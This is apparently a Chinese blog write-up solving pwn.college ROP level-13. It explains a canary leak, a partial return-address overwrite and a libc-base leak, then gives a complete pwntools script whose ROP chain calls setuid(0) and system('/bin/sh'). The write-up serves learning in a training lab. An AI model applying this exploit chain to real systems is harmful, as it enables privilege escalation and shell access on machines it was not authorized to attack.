level-13

题目简介

题目提示这道题存在canary保护,因此要想办法绕过canary(爆破或泄露)

漏洞点分析

老样子checksec看一下除了canary还开了什么,看到保护全开,只能ROP,但是还要想办法在运行时获取libc基地址

接下来靠IDA了,拖进去看一下发现可以在输入之前读取buffer起始地址和任意地址处的内容


可以看到溢出点在main函数,在溢出点前面可以泄露buffer起始地址和一个任意地址处的内容

综上,漏洞点利用思路就清晰了:

应该分为两个阶段发送payload,这一点其实和第4题类似pwn.college题解:ROP-level-4

只不过多了需要泄露canary的步骤,以及需要换一种方法泄露libc基地址(因为开启了PIE,gadget不再可用)

漏洞点利用

首先,第一次泄露canary,由于题目会直接泄露buffer起始地址,只要用这个地址+(offset-16),在第二次泄露时泄露该地址的值就是canary

接下来是泄露libc基地址以及返回程序开始的地方以触发第二阶段

但是,程序开启了PIE,无法像level-4那样,通过调用gadget直接打印某个libc函数的真实地址,并且通过pwn的symbols方法获取_start函数的地址以返回开始的地方

不过,注意到溢出点在main函数。根据main函数的启动和退出机制,见串联梳理:Pwn-Exp

所以低位覆盖,让它回到_libc_start_main即可开启二阶段;同样可以在第二阶段通过leak泄露返回地址的值,减去最低位的一个半字节即可

综上,可以编写出如下的利用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
targetELF="/challenge/babyrop_level13.1"
libcPath = "/lib/x86_64-linux-gnu/libc.so.6"
context(os='linux', arch='x86_64', terminal=['tmux', 'splitw', '-h'],log_level="debug")
ioHandler=process(targetELF)
#ioHandler=gdb.debug(targetELF,"b *main+785")

offset=136

#/bin/sh字符串的偏移=0x1b45bd
binshOffset=0x1b45bd

elf=ELF(targetELF)
libc=ELF(libcPath)

gotAddr=elf.got["puts"]

pop_rdi_offset=0x23b6a
sysOffset=libc.symbols["system"]
setuidOffset=libc.symbols["setuid"]
binshOffset=0x1b45bd


ioHandler.recvuntil("[LEAK] Your input buffer is located at: ")
bufferStart=ioHandler.recvuntil('.').decode()
if bufferStart[-1]=='.':
bufferStart=bufferStart[:-1]
bufferStart=int(bufferStart,16)
ioHandler.recvuntil("Address in hex to read from:")
canaryAddr=bufferStart+offset-16
ioHandler.sendline(hex(canaryAddr).encode("ascii"))
ioHandler.recvuntil(" = ")
canary=ioHandler.recv().decode()
canary=int(canary,16)

payload1=b'a'*(offset-16)+p64(canary)+b'a'*8+0x2D.to_bytes(1,'little')
ioHandler.send(payload1)


#回来了
ioHandler.recvuntil("[LEAK] Your input buffer is located at: ")
bufferAgain=ioHandler.recvuntil('.').decode()
if bufferAgain[-1]=='.':
bufferAgain=bufferAgain[:-1]
bufferAgain=int(bufferAgain,16)
ioHandler.recvuntil("Address in hex to read from:")
call_start=bufferAgain+offset
ioHandler.sendline(hex(call_start).encode("ascii"))
ioHandler.recvuntil(" = ")
realCall_start=int(ioHandler.recv().decode(),16)
print(realCall_start)
libcBase=realCall_start-0x24083 #为什么是24083,gdb看返回地址,最后3位是083,说明call main的指令偏移最后3位是083,再逆向libc.so,去里面找完整偏移??083,看到是24083

pop_rdiAddr=libcBase+pop_rdi_offset
sysAddr=libcBase+sysOffset
binshAddr=libcBase+binshOffset
setuidAddr=libcBase+setuidOffset

payload2=b'a'*(offset-16)+p64(canary)+b'a'*8+p64(pop_rdiAddr)+p64(0)+p64(setuidAddr)+p64(pop_rdiAddr)+p64(binshAddr)+p64(sysAddr)

ioHandler.send(payload2)
ioHandler.recv()

ioHandler.interactive()


总结一下,这道题其实不难,但却卡了很久,主要是因为:

一方面不熟悉main函数的启动和退出机制,对libc.so共享文件不了解

另一方面还是在前面的题目中形成了思维定势,没有分清什么才是目的什么只是手段

其实真正的目的就是泄露libc基址,可以通过puts函数等程序运行时调用的函数泄露(如第4题),也可以像这题一样,利用给exit传参的指令地址泄露,减去偏移

总的来说,只要能拿到libc里某条指令的真实值和偏移,就能拿到libc基址,不应该拘泥于必须通过什么手段去泄露


level-13
http://0x4a-210.github.io/2025/07/20/pwn.college/Program-Securtity/ROP/level-13/
Posted on
July 20, 2025
Licensed under